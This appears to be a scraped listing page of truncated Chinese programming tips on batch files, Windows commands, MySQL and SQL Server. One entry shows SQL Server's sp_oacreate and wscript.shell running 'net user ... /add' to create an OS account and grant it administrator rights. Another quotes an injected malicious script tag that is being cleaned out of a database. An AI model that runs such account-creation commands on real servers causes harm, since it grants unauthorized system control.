Time of Update: 2017-01-18
bat檔案雖然好用,但安全性太脆弱 隨便什麼人都可以開啟查看,甚至修改其中內容 有沒有什麼辦法不把.bat轉換成.exe或.com之類,仍是.bat檔案 但別人無法查看並修改其中內容??? 有沒有什麼自我加密之類的呢? 高手給個解決的思路吧 目前討論的方案如下: 1、在批處理代碼插入Unicode特徵串的方案 對記事本等使用IsTextUnicode函數識別編碼類別型的程式有效 對type/edit/EditPlus/UltraEdit等不使用IsTextUnicode函數的程式無效 2、
Time of Update: 2017-01-18
實現代碼:複製代碼 代碼如下: @echo off for /f "tokens=*" %%a in ('dir /b /ad /s "目標檔案夾"^|sort /r') do rd "%%a" 2>nul pause goto :eof @echo off for /f "delims=" %%i in ('dir /ad /b /s') do call :rd_dir_empty "%%i" goto :eof rem ======= 刪除空目錄 =========
Time of Update: 2017-01-18
NameAuthorInstitutionLanguageExecMulticlassRegressionCommentsBSVMChih-Wei Hsu and Chih-Jen LinNational Taiwan UniversityC++WinYesYes Equbits ForesightEqubits LLCEqubits LLCSDKWin???YesCommercial. Contact Equibits LLC for detailsGini-SVMShantanu
Time of Update: 2017-01-18
del命令參數說明 /F 強制移除唯讀檔案。 /S 從所有子目錄刪除指定檔案。 /Q
Time of Update: 2017-01-18
Bootcfg 配置、查詢或更改 Boot.ini 檔案設定。 若要查看該命令文法,請單擊以下命令: bootcfg addsw 為指定的作業系統項添加作業系統載入選項。 文法
Time of Update: 2017-01-18
顯示當前系統日期設定。如果在不含參數的情況下使用,則 date 將顯示當前系統日期設定並提示您鍵入新日期。 文法 date [mm-dd-yy] [/t] 參數 mm-dd-yy 設定指定日期,此處 mm 指月,dd 指天,yy 指年。 /t 顯示當前日期,但不提示您鍵入新日期。 /? 在命令提示字元顯示協助。 注釋 必須用句點 (.)
Time of Update: 2017-01-18
我想設計一個批處理代碼,讓使用者輸入“第一個人的名字abc第二個人的名字”, 然後把兩個人的名字輸出來。 (注意:這兩個人的名字有可能是兩個字,也有可能是三個字。) 我的意思是, 例如輸入: 英雄abc我亦鬼 我想要的效果: 英雄 我亦鬼 或者輸入: 清風09abcxzyx 結果: 清風09 xzyx 換種問法 將abc前面的字元賦值給%A% 將abc後面的字元賦值給%B% 複製代碼 代碼如下:@echo off set /p var=請輸入姓名 for
Time of Update: 2017-01-18
第一步my-default.ini 添加配置:#綁定IPv4和3306端bind-address = 127.0.0.1port = 3306# 設定mysql的安裝目basedir= E:\mysql# 設定mysql資料庫的資料的存放目datadir=E:\mysql\data#
Time of Update: 2017-01-18
報錯1:Unable to read local eventlog (reason: 事件記錄檔案已在讀取間更改。報錯2:Successfully re-opened the local eventlog - NOTE: Some events may have been missed.微軟解釋:http://support.microsoft.com/default.aspx?scid=kb;en-us;811484解決辦法:如果要防止錯誤記錄檔, 中出現這些訊息可以使用追蹤旗標 2505
Time of Update: 2017-01-18
vbscript中,錯誤處理使用on error resume next來完成,如果在你的代碼裡加入這一句,在這句之後的其他代碼如果出現錯誤,系統將忽略這些錯誤繼續運行後面的代碼,同時,我們可以使用下面的代碼來捕獲錯誤複製代碼 代碼如下:If err.number<>0 then errNum = Err.Number errDesc = Err.Description Call G00B02logOut("Error.002", errNum ,errDesc ) End If
Time of Update: 2017-01-18
在sql語句中,我們難免會用到單引號嵌套的時候,但是直接嵌套肯定是不行的,java中用反斜線做轉義符也是不行的,在sql中是用單引號來做轉義符的。比如下面例子是預存程序裡查詢時的語句樣本exec cndoup_getpageofrecords @pagesize=10,@currentpage=1,@columns='*',@tablename='ROOM',@condition='ROOMTYPElike ‘ %標準間%' ', @asccolumn='ROOMID',
Time of Update: 2017-01-18
方法很簡單:text欄位不能使用Replace,所以使用patindex 複製代碼 代碼如下:-select * from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%' --text欄位的替換處理樣本--全表替換 -- select datalength(P_Intro),*
Time of Update: 2017-01-18
1、串連資料庫 driver={SQL Server};server=伺服器IP;uid=使用者名稱;pwd=密碼;database=資料庫名 2、添加新使用者 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新使用者 密碼 /add' 3、把使用者加到管理組
Time of Update: 2017-01-18
文法介紹: phplib中常用的方法有set_file,set_block,set_var,parse,ppasre,p,get等。 聲明:由於本系統採用的是phplib,如果頁面中有大括弧對,這將會替換成空白,所以在寫此文章時,用"[[","]]"來替代大括弧。大家在用的時候是用大括弧便是,此處僅為寫文章方便而作此約定。 set_file:是用來引入模板檔案。 用法: 複製代碼 代碼如下: $t->set_file("show_main","main.htm");
Time of Update: 2017-01-18
SELECT sch.name + '.' + t.name AS [Table Name], i.name AS[Index Name], i.type_desc, ISNULL(user_updates,0) AS [Total Writes], ISNULL(user_seeks +user_scans + user_lookups,0) AS [Total Reads], s.last_user_seek, s.last_user_scan ,
Time of Update: 2017-01-18
比如我們建立了一個表T1和一個T1的視圖V1,然後更改T1,再看V1的結果: 首先建立表T1: 複製代碼 代碼如下:IF OBJECT_ID('T1') IS NOT NULL DROP TABLE T1 CREATE TABLE T1(col1 INT,col2 INT) INSERT INTO T1(col1,col2) VALUES(1,2) GO 然後建立T1的視圖V1: 複製代碼 代碼如下:CREATE VIEW V1 AS SELECT * FROM T1
Time of Update: 2017-01-18
inserted,deleted是在觸發器中使用的兩個暫存資料表,當執行insert操作時,在inserted中儲存著當前插入的記錄,在執行delete操作時,在deleted中儲存著當前刪除的記錄,當執行update時,在inserted中儲存著修改後的記錄,在deleted中儲存著修改前的記錄。複製代碼 代碼如下:set ANSI_NULLS ON set QUOTED_IDENTIFIER ON go ALTER TRIGGER [dnt_user_add] ON
Time of Update: 2017-01-18
當我們拿到題目的時候,並不是急於作答,那樣會得不償失的,而是分析思路,採用什麼方法,達到什麼目的,還要思考有沒有簡單的方法或者通用的方法等等,這樣才會達到以一當十的效果,這樣的慣性思維其實早在我們度高中的時候就被領教了,所謂“萬變不離其宗”吧。以下各題來自日常所見,或QQ群,或面試題,或部落格園。題目一:如下表所示,現需要按照收款員統計收款和退款合計金額。實現結果需如下顯示:分析:想要的結果(記為表B)和來源資料(記為表A)相比,有共同的列(收款員),不同的是表A的金額根據標記和收款員分成了兩列
Time of Update: 2017-01-18
一.先看一些最簡單的例子例子Table Aaid adate 1 a1 2 a2 3 a3TableBbid bdate 1 b1 2 b2 4 b4 兩個表a,b相串連,要取出id相同的欄位
Time of Update: 2017-01-18
substr(string ,1,3) 函數解讀:取string 中重左往右取3字長的字串。結果為:str從右往左呢?應該有另一個函數來提供這樣的功能吧!事實上,從右往左也是這個函數 只是參數的不同而已。substr(String,-1,3) 功能解讀:取string中右邊1位開始取3位。結果為:gsubstr(string,start,length)string - 指定的要截取的字串。start - 必需,規定在字串的何處開始。正數 - 在字串的指定位置開始,負數 -